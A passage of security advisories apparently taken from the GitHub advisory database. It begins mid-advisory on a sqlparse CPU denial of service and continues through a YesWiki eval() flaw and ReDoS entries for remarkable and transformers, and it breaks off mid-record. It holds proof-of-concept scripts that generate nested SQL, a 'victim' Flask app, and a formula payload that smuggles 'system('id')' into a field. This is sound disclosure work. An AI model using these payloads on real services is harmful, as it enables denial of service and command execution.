This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.
Affected components
sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.
Vulnerable code (file:line)
sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):
class TokenList(Token):
__slots__ = 'tokens'
def __init__(self, tokens=None):
self.tokens = tokens or []
[setattr(token, 'parent', self) for token in self.tokens]
super().__init__(None, str(self)) # ← O(subtree) work per group
self.is_group = True
def __str__(self):
return ''.join(token.value for token in self.flatten())
__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).
The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.
Reachable / How input reaches the sink
sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:run → engine/grouping.py:group → group_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.
Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).
Proof of concept
Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):
import sqlparse, time, signal
def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)
def measure(label, sql, fn):
signal.alarm(30)
t0 = time.perf_counter()
status = 'OK'
try:
fn(sql)
except sqlparse.exceptions.SQLParseError:
status = 'CAP'
except TimeoutError:
status = 'TIMEOUT'
finally:
signal.alarm(0)
dt = (time.perf_counter() - t0) * 1000
print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)')
# Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
sql = 'SELECT ' + '(' * n + '1' + ')' * n
measure(f'nested-paren n={n}', sql, sqlparse.parse)
# Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
case = '1'
for i in range(n):
case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)
Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):
CAP 80.7ms nested-paren n=200 (408 B)
CAP 1342.9ms nested-paren n=500 (1008 B)
CAP 11206.9ms nested-paren n=1000 (2008 B)
TIMEOUT >10000ms nested-paren n=2000 (4008 B)
CAP 83.1ms CASE-nested n=100 (3405 B)
CAP 559.6ms CASE-nested n=200 (6905 B)
CAP 5012.2ms CASE-nested n=400 (13905 B)
cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):
ncalls cumtime filename:lineno(function)
501 3.133 sqlparse/sql.py:165(__str__)
501 3.127 {method 'join' of 'str' objects}
252504 3.110 sqlparse/sql.py:166(<genexpr>)
42168504 3.079 sqlparse/sql.py:207(flatten)
42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.
End-to-end reproduction (against running consumer)
victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):
from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)
@app.route('/parse', methods=['POST'])
def parse_sql():
sql = request.get_data(as_text=True)
t0 = time.perf_counter()
try:
sqlparse.parse(sql)
return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
except sqlparse.exceptions.SQLParseError as e:
return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400
@app.route('/format', methods=['POST'])
def format_sql():
sql = request.get_data(as_text=True)
t0 = time.perf_counter()
formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5099, threaded=False)
Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):
=== Baseline (benign payloads) ===
benign small SQL 8B wire= 8.8ms server= 0.2ms
benign 1 KB SQL 220B wire= 4.1ms server= 2.5ms
benign flat 500-cols 2902B wire= 91.7ms server= 90.2ms
=== Malicious payloads (within default caps) ===
nested-paren n=200 408B wire= 84.0ms server= 82.6ms ok=False
nested-paren n=500 1008B wire= 1371.9ms server= 1370.5ms ok=False
nested-paren n=1000 2008B wire=10335.3ms server=10333.7ms ok=False
nested-paren n=2000 4008B wire=10661.4ms server=10659.6ms ok=False
CASE-nested n=400 13905B wire= 5136.4ms server= 5134.7ms ok=False
IN-tuple-format n=1000 9922B wire= 3852.8ms server= 3851.2ms ok=True
A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.
Impact
- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
- Multi-worker service: attacker sends
Nparallel requests, exhausts the worker pool. - Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
- Downstream library impact:
sql-metadata.Parser(sql).columnscallssqlparse.parseinternally and inherits the exact same hang (nested-paren n=1000→ 11.3 s).
Suggested fix
Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):
def __init__(self, tokens=None):
self.tokens = tokens or []
[setattr(token, 'parent', self) for token in self.tokens]
# Avoid materializing the full subtree via str(self): concatenating
# children's already-cached `value` is O(len(tokens)) per group,
# whereas str(self) recursively flattens the entire subtree which is
# O(subtree) per node and turns nested grouping into O(n * depth).
super().__init__(None, ''.join(token.value for token in self.tokens))
self.is_group = True
Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):
| Vector | Before fix | After fix | Speedup |
|---|---|---|---|
| nested-paren n=500 | 1336 ms | 11 ms | 121x |
| nested-paren n=1000 | 11206 ms | 22 ms | 509x |
| nested-paren n=2000 | TIMEOUT (>10 s) | 45 ms | 220x+ |
| CASE-nested n=200 | 559 ms | 25 ms | 22x |
| CASE-nested n=500 | TIMEOUT (>10 s) | 61 ms | 160x+ |
| benign 1 KB SQL | 3 ms | 3 ms | unchanged |
End-to-end Flask victim_app re-run against the patched library:
nested-paren n=1000 2008B server= 34.6ms
nested-paren n=2000 4008B server= 67.2ms
CASE-nested n=400 13905B server= 49.5ms
benign 1 KB SQL 220B server= 3.4ms
The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset → _flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.
Fix PR
A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.5"
},
"package": {
"ecosystem": "PyPI",
"name": "sqlparse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54284"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:49:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n __slots__ = \u0027tokens\u0027\n\n def __init__(self, tokens=None):\n self.tokens = tokens or []\n [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n super().__init__(None, str(self)) # \u2190 O(subtree) work per group\n self.is_group = True\n\n def __str__(self):\n return \u0027\u0027.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` \u2192 `engine/grouping.py:group` \u2192 `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django\u0027s `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n signal.alarm(30)\n t0 = time.perf_counter()\n status = \u0027OK\u0027\n try:\n fn(sql)\n except sqlparse.exceptions.SQLParseError:\n status = \u0027CAP\u0027\n except TimeoutError:\n status = \u0027TIMEOUT\u0027\n finally:\n signal.alarm(0)\n dt = (time.perf_counter() - t0) * 1000\n print(f\u0027 {status:8} {dt:8.1f}ms {label} ({len(sql)} B)\u0027)\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n sql = \u0027SELECT \u0027 + \u0027(\u0027 * n + \u00271\u0027 + \u0027)\u0027 * n\n measure(f\u0027nested-paren n={n}\u0027, sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n case = \u00271\u0027\n for i in range(n):\n case = f\u0027CASE WHEN x={i} THEN {case} ELSE NULL END\u0027\n measure(f\u0027CASE-nested n={n}\u0027, f\u0027SELECT {case} FROM t\u0027, sqlparse.parse)\n```\n\nOutput on the reporter\u0027s machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n CAP 80.7ms nested-paren n=200 (408 B)\n CAP 1342.9ms nested-paren n=500 (1008 B)\n CAP 11206.9ms nested-paren n=1000 (2008 B)\n TIMEOUT \u003e10000ms nested-paren n=2000 (4008 B)\n CAP 83.1ms CASE-nested n=100 (3405 B)\n CAP 559.6ms CASE-nested n=200 (6905 B)\n CAP 5012.2ms CASE-nested n=400 (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls cumtime filename:lineno(function)\n 501 3.133 sqlparse/sql.py:165(__str__)\n 501 3.127 {method \u0027join\u0027 of \u0027str\u0027 objects}\n252504 3.110 sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079 sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route(\u0027/parse\u0027, methods=[\u0027POST\u0027])\ndef parse_sql():\n sql = request.get_data(as_text=True)\n t0 = time.perf_counter()\n try:\n sqlparse.parse(sql)\n return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1)})\n except sqlparse.exceptions.SQLParseError as e:\n return jsonify({\u0027ok\u0027: False, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027error\u0027: str(e)}), 400\n\n@app.route(\u0027/format\u0027, methods=[\u0027POST\u0027])\ndef format_sql():\n sql = request.get_data(as_text=True)\n t0 = time.perf_counter()\n formatted = sqlparse.format(sql, reindent=True, keyword_case=\u0027upper\u0027)\n return jsonify({\u0027ok\u0027: True, \u0027parse_ms\u0027: round((time.perf_counter()-t0)*1000, 1), \u0027len\u0027: len(formatted)})\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u0027127.0.0.1\u0027, port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n benign small SQL 8B wire= 8.8ms server= 0.2ms\n benign 1 KB SQL 220B wire= 4.1ms server= 2.5ms\n benign flat 500-cols 2902B wire= 91.7ms server= 90.2ms\n\n=== Malicious payloads (within default caps) ===\n nested-paren n=200 408B wire= 84.0ms server= 82.6ms ok=False\n nested-paren n=500 1008B wire= 1371.9ms server= 1370.5ms ok=False\n nested-paren n=1000 2008B wire=10335.3ms server=10333.7ms ok=False\n nested-paren n=2000 4008B wire=10661.4ms server=10659.6ms ok=False\n CASE-nested n=400 13905B wire= 5136.4ms server= 5134.7ms ok=False\n IN-tuple-format n=1000 9922B wire= 3852.8ms server= 3851.2ms ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 \u2014 uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request \u2192 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` \u2192 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children\u0027s already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children\u0027s `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n self.tokens = tokens or []\n [setattr(token, \u0027parent\u0027, self) for token in self.tokens]\n # Avoid materializing the full subtree via str(self): concatenating\n # children\u0027s already-cached `value` is O(len(tokens)) per group,\n # whereas str(self) recursively flattens the entire subtree which is\n # O(subtree) per node and turns nested grouping into O(n * depth).\n super().__init__(None, \u0027\u0027.join(token.value for token in self.tokens))\n self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n nested-paren n=1000 2008B server= 34.6ms\n nested-paren n=2000 4008B server= 67.2ms\n CASE-nested n=400 13905B server= 49.5ms\n benign 1 KB SQL 220B server= 3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` \u2192 `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).",
"id": "GHSA-pwgv-4x5q-6m9f",
"modified": "2026-08-17T17:49:47Z",
"published": "2026-08-17T17:49:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f"
},
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f"
},
{
"type": "PACKAGE",
"url": "https://github.com/andialbrecht/sqlparse"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger"
}
GHSA-PX5M-H76G-P7P8
Vulnerability from github – Published: 2026-07-09 21:03 – Updated: 2026-07-09 21:03Summary
An unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.
Details
Affected Component - File: tools/bazar/fields/CalcField.php - Method: formatValuesBeforeSave($entry) - Vulnerable Mechanism: Combination of a complex recursive regex validation followed by eval().
The code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:
$regexpToCheckIfMathFormula = '/^((' . $number . '|' . $functions . '\s*\((?1)+\)|\((?1)+\))(?:' . $operators . '(?1))?)+$/';
if (preg_match($regexpToCheckIfMathFormula, $formula)) {
$formula = preg_replace('!pi|π!', 'pi()', $formula);
try {
eval("\$value = $formula;"); // VULNERABLE LINE
// ...
Architectural Flaws
PCRE Stack Overflow & ReDoS (The Immediate Exploit):
The regex definition heavily relies on a recursive pattern (?1)+. In PHP's PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursion_limit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).
The "Validation-Before-Substitution" Trap:
The regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.
Complete Trust in eval():
Using eval() as a math parser means the application's security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.
PoC
Scenario A: Remote Denial of Service (Server Crash)
An attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.
Payload:
((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))
(Multiplied by 2000 to 5000 iterations depending on the server's pcre.recursion_limit and stack configuration).
The PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.
Scenario B: Logical Bypass to RCE
Because eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block.
Payload:
abs(1) + system('id')
If a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.
Impact
-
Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).
-
Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.
-
Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.
Remediation & Mitigation
- Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52778"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T21:03:04Z",
"nvd_published_at": "2026-06-08T19:16:46Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn unsafe execution vulnerability exists in the Bazar form field calculator (CalcField.php) of YesWiki. The application attempts to sanitize user-defined mathematical formulas using a complex recursive regular expression before passing them to the PHP eval() function. This implementation is inherently flawed: it is vulnerable to Regular Expression Denial of Service (ReDoS / Stack Overflow) which can crash the server, and it creates a high-risk architecture where any logic bypass directly results in arbitrary PHP code execution.\n\n### Details\n\nAffected Component\n- **File**: tools/bazar/fields/CalcField.php\n- **Method**: formatValuesBeforeSave($entry)\n- **Vulnerable Mechanism:** Combination of a complex recursive regex validation followed by eval().\n\n\nThe code attempts to implement a sandbox for mathematical operations by verifying the formula structure before executing it:\n\n```\n$regexpToCheckIfMathFormula = \u0027/^((\u0027 . $number . \u0027|\u0027 . $functions . \u0027\\s*\\((?1)+\\)|\\((?1)+\\))(?:\u0027 . $operators . \u0027(?1))?)+$/\u0027;\n\nif (preg_match($regexpToCheckIfMathFormula, $formula)) {\n $formula = preg_replace(\u0027!pi|\u03c0!\u0027, \u0027pi()\u0027, $formula);\n try {\n eval(\"\\$value = $formula;\"); // VULNERABLE LINE\n// ...\n```\n### Architectural Flaws\n\n**PCRE Stack Overflow \u0026 ReDoS (The Immediate Exploit):**\n\nThe regex definition heavily relies on a recursive pattern (?1)+. In PHP\u0027s PCRE engine, deeply nested recursive patterns are processed on the system stack. If an attacker inputs a formula with thousands of nested parentheses or repeating groups, the engine will either trigger a pcre.recursion_limit exhaust (returning false or null) or cause a Segmentation Fault, instantly crashing the PHP process (Denial of Service).\n\n**The \"Validation-Before-Substitution\" Trap:**\n\nThe regex checks the $formula variable after it has tokenized and reassembled the input string. If any underlying function called during tokenization (like testEntryValue or future updates to getEntryValue) returns or leaks an unexpected string format, the string structure changes.\n\n**Complete Trust in eval():**\n\nUsing eval() as a math parser means the application\u0027s security perimeter relies entirely on a single regular expression. History shows that complex regex sanitizers for script evaluation are consistently bypassed via edge-case syntaxes, character encoding tricks, or PCRE engine bugs.\n\n### PoC\n\n**Scenario A: Remote Denial of Service (Server Crash)**\n\nAn attacker with rights to create or edit a Bazar form adds a Calc field and injects a deeply nested recursive mathematical structure.\n\nPayload:\n\n`((((((((((((((((((((((((((((((((((((((((((1+1))))))))))))))))))))))))))))))))))))))))))))\n`\n\n(Multiplied by 2000 to 5000 iterations depending on the server\u0027s pcre.recursion_limit and stack configuration).\n\nThe PCRE engine runs out of stack memory, leading to an immediate crash of the PHP-FPM worker or Apache process handling the request, rendering the service unavailable.\n\n**Scenario B: Logical Bypass to RCE**\n\nBecause eval() executes raw PHP code, if an attacker successfully fuzzes the recursive pattern or exploits an unpatched vulnerability in the specific PCRE library version installed on the host OS, they can slip a PHP payload through the validation block.\n \nPayload:\n\n`abs(1) + system(\u0027id\u0027)\n`\n\nIf a validation bypass occurs, the string evaluates as native PHP, granting the attacker the privileges of the www-data (web server) user, leading to a full host compromise.\n\n### Impact\n\n- Confidentiality: HIGH. Attackers can read sensitive system files (e.g., /etc/passwd, .env configuration files).\n\n- Integrity: HIGH. Attackers can modify application files, inject backdoors, or alter the database content.\n\n- Availability: HIGH. Attackers can easily bring down the web service via the ReDoS/Segmentation Fault vector.\n\n### Remediation \u0026 Mitigation\n\n- Do not use regular expressions to safe-guard eval(). Instead, replace the execution block with a dedicated, safe Abstract Syntax Tree (AST) math parser or an expression language component that cannot execute system context.",
"id": "GHSA-px5m-h76g-p7p8",
"modified": "2026-07-09T21:03:04Z",
"published": "2026-07-09T21:03:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-px5m-h76g-p7p8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52778"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/dd2bd8fb099de0d21504bda8a810693b3fcb8e52"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/releases/tag/v4.6.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution \u0026 Denial of Service"
}
GHSA-Q22G-8FR4-QPJ4
Vulnerability from github – Published: 2019-06-06 15:32 – Updated: 2024-04-22 19:45lib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "remarkable"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-12041"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2019-06-06T15:21:06Z",
"nvd_published_at": "2019-05-13T13:29:00Z",
"severity": "HIGH"
},
"details": "lib/common/html_re.js in remarkable 1.7.1 allows Regular Expression Denial of Service (ReDoS) via a CDATA section.",
"id": "GHSA-q22g-8fr4-qpj4",
"modified": "2024-04-22T19:45:28Z",
"published": "2019-06-06T15:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12041"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/remarkable/issues/331"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/remarkable/pull/335#issuecomment-515958379"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/remarkable/commit/287dfbf22e70790c8b709ae37a5be0523597673c"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-REMARKABLE-174639"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in remarkable"
}
GHSA-Q2WP-RJMX-X6X9
Vulnerability from github – Published: 2025-07-07 12:30 – Updated: 2025-07-08 16:33A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically in the get_configuration_file() function within the transformers.configuration_utils module. The affected version is 4.49.0, and the issue is resolved in version 4.51.0. The vulnerability arises from the use of a regular expression pattern config\.(.*)\.json that can be exploited to cause excessive CPU consumption through crafted input strings, leading to catastrophic backtracking. This can result in model serving disruption, resource exhaustion, and increased latency in applications using the library.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "transformers"
},
"ranges": [
